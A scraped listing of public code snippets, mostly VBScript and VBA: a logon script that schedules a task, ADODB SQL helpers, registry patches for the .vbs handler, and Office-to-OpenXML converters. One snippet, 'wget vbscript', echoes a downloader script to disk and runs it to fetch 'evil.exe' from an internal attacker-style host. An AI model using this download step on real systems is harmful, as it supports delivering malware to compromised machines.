working on it ...

Filters

Explore Public Snippets

Sort by

Found 17 snippets

    public by DinhoPutz  4562  75  5  0

    Criar tarefa agendada via VBScript (Script de Logon)

    Este script cria uma tarefa agendada via vbscript para implementação O script será usado para implementar uma GPO de LOGON Sempre que computador ficar ocioso por 20 minutos a tarefa é executada No caso a tarefa executa o "FianalizarProgramas.bat", localizado no servidor "SRVAplic"
    'Este script cria uma tarefa agendada via vbscript para implementação 
    'O script será usado para implementar uma GPO de LOGON 
    'Sempre que computador ficar ocioso por 20 minutos a tarefa é executada
    'No caso a tarefa executa o "FianalizarProgramas.bat", localizado no servidor "SRVAplic"
    
    Set CmdShell= Wscript.CreateObject("Wscript.Shell")
    
    'SCHTASKS -> Cria a tarefa | /SC ONIDLE /I 20 -> Define que executa após 20 minutos de ócio
    '/TN "NOME DA TEREFA" | /TR \\SRVAplic\scripts\FianalizarProgramas.bat > O que executar
    CmdShell.Run "SCHTASKS /Create /SC ONIDLE /I 20 /TN ""Fechar Programas Ociosos"" /TR \\SRVAplic\scripts\FianalizarProgramas.bat"
    
    Wscript.Sleep 100
    
    
    'Caso a terafa já exista, a próxima instrução irá subscrever-la
    CmdShell.SendKeys "S~"
    
    Wscript.Quit 

    public by cghersi  4284  0  6  1

    How to execute an SQL statement in VBA

    This simple method allows to execute the given SQL query, returning true if there was no error, or false otherwise. The SQL statement is not supposed to return resultsets, like an INSERT, UPDATE or DELETE
    Public Function ExecCmd(ByVal sql As String) As Boolean
    On Error GoTo ErrorCmd
    
      Dim conn As ADODB.Connection
      Dim cmd As ADODB.Command
          
      'Init db objects
      'Connection is the current DB one
      Set conn = CurrentProject.Connection
      Set cmd = New ADODB.Command
        
      With cmd
          .ActiveConnection = conn
          .CommandText = sql
          .CommandType = adCmdText
          .Execute
      End With
    
      ExecCmd = True
        
    Exit_go: Exit Function
    ErrorCmd:
      MsgBox Err.Description
      ExecCmd = False
    End Function

    public by cghersi  2288  0  6  0

    How to consume a RecordSet in VBA

    This is a simple example of how to consume a recordset in VBA. It relies on the ExecQuery method explained in the related snippet.
    Dim rd As ADODB.Recordset
    Dim sql As String, res As String
    
    res = ""
    sql = "SELECT Something FROM MyTable WHERE Year=2014"
    Set rd = ExecQuery(sql)
    If (rd Is Nothing) Then GoTo ErrorQuery
    While Not rd.EOF
      res = res + rd("Something")
      rd.MoveNext
    Wend
    
    MsgBox(res)
    
    Exit
    ErrorQuery: MsgBox("Something wrong here")

    public by cghersi  2594  0  6  0

    How to consume a RecordSet in VBA with a single row

    If you want to read just a single value from a table, this can be helpful. the connection to the database is the current one, builtin inside MS Access.
    Public Function GetStringFromDB(ByVal id As Integer) As String
    On Error GoTo ErrorQuery
    
      Dim objRS As ADODB.Recordset
      Dim cmd As ADODB.Command
      Dim sql As String
          
      'Init db objects
      'Connection is the current DB one
      Set cmd = New ADODB.Command
      Set objRS = New ADODB.Recordset
      
      sql = "SELECT MyField FROM MyTable WHERE ID=" & id
      Set objRS = CurrentProject.Connection.Execute(sql)
      GetStringFromDB = objRS("MyField")
      objRS.Close
      Set objRS = Nothing
            
    Exit_go: Exit Function
    ErrorQuery: GetStringFromDB = ""
    End Function

    public by cghersi  3119  1  6  1

    How to create a RecordSet in VBA to execute a SELECT query

    This simple method creates and returns a Recordset containing the results of the given SQL query. Note: the caller is in charge to close the recordset and release the resources once done with DB data.
    Public Function ExecQuery(ByVal sql As String) As ADODB.Recordset
    On Error GoTo ErrorCmd
    
      Dim conn As ADODB.Connection
    
      'Init db objects
      'Connection is the current DB one
      If exception_flag Then On Error Resume Next
      Set conn = CurrentProject.Connection
      Set ExecQuery = New ADODB.Recordset
    
      'Exec the query
      Set ExecQuery = CurrentProject.Connection.Execute(sql)
    
    Exit_go: Exit Function
    ErrorCmd: Set ExecQuery = Nothing
    End Function

    external by waywardsun  22  0  1  0

    wget vbscript

    wget vbscript: wget_vbs
    echo strUrl = WScript.Arguments.Item(0) > wget.vbs
    echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
    echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
    echo Err.Clear >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
    echo http.Open "GET",strURL,False >> wget.vbs
    echo http.Send >> wget.vbs
    echo varByteArray = http.ResponseBody >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
    echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
    echo strData = "" >> wget.vbs
    echo strBuffer = "" >> wget.vbs
    echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
    echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
    echo Next >> wget.vbs
    echo ts.Close >> wget.vbs
    
    
    #After you've created wget.vbs
    cscript wget.vbs http://192.168.10.5/evil.exe evil.exe
    
    

    external by druciferre  46  0  1  0

    Registry patch to make VBScript files (*.vbs) run using the 32 bit version of WScript (instead of the default 64 bit WScript) on a Windows 64 bit.

    Registry patch to make VBScript files (*.vbs) run using the 32 bit version of WScript (instead of the default 64 bit WScript) on a Windows 64 bit.: Run VBScripts with 32bit WScript on Windows 64bit.reg
    REGEDIT4
    
    [HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command]
    @=hex(2):22,25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,53,79,73,57,4f,57,36,34,5c,\
      57,53,63,72,69,70,74,2e,65,78,65,22,20,22,25,31,22,20,25,2a,00
    
    
    
    

    external by druciferre  81  0  1  0

    Registry patch to make VBScript files (*.vbs) run using CScript.

    Registry patch to make VBScript files (*.vbs) run using CScript. : Run VBScripts with CScript.reg
    REGEDIT4
    
    [HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command]
    @=hex(2):22,25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,53,79,73,74,65,6d,33,32,5c,\
      43,53,63,72,69,70,74,2e,65,78,65,22,20,22,25,31,22,20,25,2a,00
    
    
    
    

    external by Tomas Fagerbekk  760  0  3  0

    VBscript that saves Office binary files as OpenXML formats, e.g. doc to dox. Either single files or recursive through subfolders. Office >= 2007 must be installed for this to work. 1) Save as converter.vbs 2) Go to folder i cmd. 3) Run with "cscript co...

    VBscript that saves Office binary files as OpenXML formats, e.g. doc to dox. Either single files or recursive through subfolders. Office = 2007 must be installed for this to work. 1) Save as converter.vbs 2) Go to folder i cmd. 3) Run with "cscript converter.vbs path/to/folder": VBscript doc etc. to docx etc.
    Dim arguments
    Set arguments = WScript.Arguments
    
    ' http://msdn2.microsoft.com/en-us/library/bb238158.aspx
    Const wdFormatXMLDocument = 12  ' docx
    ' https://technet.microsoft.com/en-us/library/ff198017.aspx
    Const xlOpenXMLWorkbook = 51 ' xlsx
    ' https://msdn.microsoft.com/en-us/library/office/ff746500.aspx
    Const ppSaveAsOpenXMLPresentation = 24 ' pptx
    
    Const DoNotSaveChanges = 0
    
    Dim fileSystemObject
    Dim inputArg
    Dim filExt
    Dim destinationPath
    
    Dim wordApplication
    Dim wordDocument
    
    Dim excelApplication
    Dim excelDocument
    
    Dim powerpointApplication
    Dim powerpointDocument
    
    Set fso = CreateObject ("Scripting.FileSystemObject")
    Set stdout = fso.GetStandardStream (1)
    Set stderr = fso.GetStandardStream (2)
     
    Function CheckUserArguments()
      If arguments.Unnamed.Count <> 1 Then
        WScript.Echo "Use:"
        WScript.Echo "<script> path\inputfolder"
        WScript.Echo "<script> path\inputArg"
        WScript.Quit 1
      End If
    End Function
    
    Function InitializeWord()
      Set wordApplication = CreateObject("Word.Application")
      wordApplication.WordBasic.DisableAutoMacros
    End Function
    
    Function InitializeExcel()
      Set excelApplication = CreateObject("Excel.Application")
      excelApplication.DisplayAlerts = False
      excelApplication.EnableEvents = False
    End Function
    
    Function InitializePowerpoint()
      Set powerpointApplication = CreateObject("PowerPoint.Application")
    End Function
    
    Function Initialize()
      inputArg = arguments.Unnamed.Item(0)
      inputArg = fso.GetAbsolutePathName(inputArg)
    End Function  
     
    Function DocToDocx(file)
      file = fso.GetAbsolutePathName(file)
      If Not IsObject(wordApplication) Then
        Call InitializeWord()
      End If
      destinationPath = file + "x"
      Set wordDocument = wordApplication.Documents.Open(file)
      wordDocument.SaveAs destinationPath, wdFormatXMLDocument
     
      wordDocument.Close DoNotSaveChanges
      set wordDocument = Nothing
    End Function
    
    Function XlsToXlsx(file)
      file = fso.GetAbsolutePathName(file)
      If Not IsObject(excelApplication) Then
        Call InitializeExcel()
      End If
      destinationPath = file + "x"
      Set excelDocument = excelApplication.Workbooks.Open(file)
      excelDocument.SaveAs destinationPath, xlOpenXMLWorkbook
    
      excelDocument.Close DoNotSaveChanges
      set excelDocument = Nothing
    End Function
    
    Function PptToPptx(file)
      file = fso.GetAbsolutePathName(file)
      If Not IsObject(powerpointApplication) Then
        Call InitializePowerpoint()
      End If
      destinationPath = file + "x"
      Set powerpointDocument = powerpointApplication.Presentations.Open(file, True, False, False)
      powerpointDocument.SaveAs destinationPath, ppSaveAsOpenXMLPresentation
    
      powerpointDocument.Close
      set powerpointDocument = Nothing
    End Function
    
    Function Close()
      if IsObject(wordApplication) Then
        wordApplication.Quit DoNotSaveChanges
        Set wordApplication = Nothing
      End If
      if IsObject(excelApplication) Then
        excelApplication.Quit
        Set excelApplication = Nothing
      End If
      if IsObject(powerpointApplication) Then
        powerpointApplication.Quit
        Set powerpointApplication = Nothing
      End If
      Set fso = Nothing
      Set arguments = Nothing
    End Function
    
    Function GetFileExt(file)
      GetFileExt = fso.GetExtensionName(file)
    End Function
    
    Function Convert(objFile)
      filExt = GetFileExt(objFile)
      Select Case filExt
      Case "xls"
        stdout.WriteLine "Converting " & fso.GetAbsolutePathName(objFile)
        XlsToXlsx(objFile)
      Case "ppt"
        stdout.WriteLine "Converting " & fso.GetAbsolutePathName(objFile)
        PptToPptx(objFile)
      Case "doc"
        stdout.WriteLine "Converting " & fso.GetAbsolutePathName(objFile)
        DocToDocx(objFile)
      Case Else
        stdout.WriteLine "Ignoring: " & fso.GetAbsolutePathName(objFile)
      End Select
    End Function
    
    Function ConvertFolders(objStartFolder)
      Set objFolder = fso.GetFolder(objStartFolder)
      Set colFiles = objFolder.Files
      For Each objFile in colFiles
          Convert(objFile)
      Next
    
      For Each Subfolder in objFolder.SubFolders
        ConvertFolders Subfolder.Path
      Next
    End Function
    
    Call CheckUserArguments()
    Call Initialize()
    If (fso.FileExists(inputArg)) Then Call Convert(inputArg)
    If (fso.FolderExists(inputArg)) Then Call ConvertFolders(inputArg)
    Call Close()
    
    

    external by Tomas Fagerbekk  128  0  2  0

    VBscript that saves Office binary files as OpenXML formats. Office >= 2007 must be installed for this to work

    VBscript that saves Office binary files as OpenXML formats. Office = 2007 must be installed for this to work: VBscript doc etc. to docx etc.
    Dim arguments
    Set arguments = WScript.Arguments
    
    ' http://msdn2.microsoft.com/en-us/library/bb238158.aspx
    Const wdFormatXMLDocument = 12  ' docx
    ' https://technet.microsoft.com/en-us/library/ff198017.aspx
    Const xlOpenXMLWorkbook = 51 ' xlsx
    ' https://msdn.microsoft.com/en-us/library/office/ff746500.aspx
    Const ppSaveAsOpenXMLPresentation = 24 ' pptx
    
    Const DoNotSaveChanges = 0
    
    Dim fileSystemObject
    Dim baseFolder
    Dim inputFile
    Dim outputFile
    Dim filExt
    
    Dim wordApplication
    Dim wordDocument
    
    Dim excelApplication
    Dim excelDocument
    
    Dim powerpointApplication
    Dim powerpointDocument
    
    Set fso = CreateObject ("Scripting.FileSystemObject")
    Set stdout = fso.GetStandardStream (1)
    Set stderr = fso.GetStandardStream (2)
     
    Function CheckUserArguments()
      If arguments.Unnamed.Count < 1 Or arguments.Unnamed.Count > 2 Then
        WScript.Echo "Use:"
        WScript.Echo "<script> path\inputfolder"
        WScript.Echo "<script> path\inputfolder path\outputfolder"
        WScript.Quit 1
      End If
    End Function
    
    Function Initialize()
      Set fileSystemObject = CreateObject("Scripting.FileSystemObject")
      
      Set wordApplication = CreateObject("Word.Application")
      wordApplication.WordBasic.DisableAutoMacros
      
      Set excelApplication = CreateObject("Excel.Application")
      excelApplication.DisplayAlerts = False
      excelApplication.EnableEvents = False
    
      Set powerpointApplication = CreateObject("PowerPoint.Application")
    
      inputFile = arguments.Unnamed.Item(0)
      inputFile = fileSystemObject.GetAbsolutePathName(inputFile)
      baseFolder = fileSystemObject.GetParentFolderName(inputFile)
      If arguments.Unnamed.Count = 2 Then
        outputFile = arguments.Unnamed.Item(1)
        If Len(fileSystemObject.GetParentFolderName(outputFile)) = 0 Then
          outputFile = baseFolder + "\" + outputFile
        End If
      Else
        outputFile = inputFile + "x"
      End If
    End Function  
     
    Function DocToDocx()
      Set wordDocument = wordApplication.Documents.Open(inputFile)
      wordDocument.SaveAs outputFile, wdFormatXMLDocument
     
      wordDocument.Close DoNotSaveChanges
      set wordDocument = Nothing
    End Function
    
    Function XlsToXlsx()
      Set excelDocument = excelApplication.Workbooks.Open(inputFile)
      excelDocument.SaveAs outputFile, xlOpenXMLWorkbook
    
      excelDocument.Close DoNotSaveChanges
      set excelDocument = Nothing
    End Function
    
    Function PptToPptx()
      Set powerpointDocument = powerpointApplication.Presentations.Open(inputFile, True, False, False)
      powerpointDocument.SaveAs outputFile, ppSaveAsOpenXMLPresentation
    
      powerpointDocument.Close
      set powerpointDocument = Nothing
    End Function
    
    Function Close()
      wordApplication.Quit DoNotSaveChanges
      excelApplication.Quit
      Set wordApplication = Nothing
      Set excelApplication = Nothing
      Set fileSystemObject = Nothing
      Set arguments = Nothing
    End Function
    
    Function GetFileExt(file)
      GetFileExt = fileSystemObject.GetExtensionName(file)
    End Function
    
    Function Convert()
      filExt = GetFileExt(inputFile)
      Select Case filExt
      Case "xls"
        stdout.WriteLine "Converting " & inputFile
        XlsToXlsx()
      Case "ppt"
        stdout.WriteLine "Converting " & inputFile
        PptToPptx()
      Case "doc"
        stdout.WriteLine "Converting " & inputFile
        DocToDocx()
      Case Else
        stdout.WriteLine "Ignoring: " & inputFile
      End Select
    End Function
    
    
    Call CheckUserArguments()
    Call Initialize()
    Call Convert()
    Call Close()
    
    
    • Public Snippets
    • Channels Snippets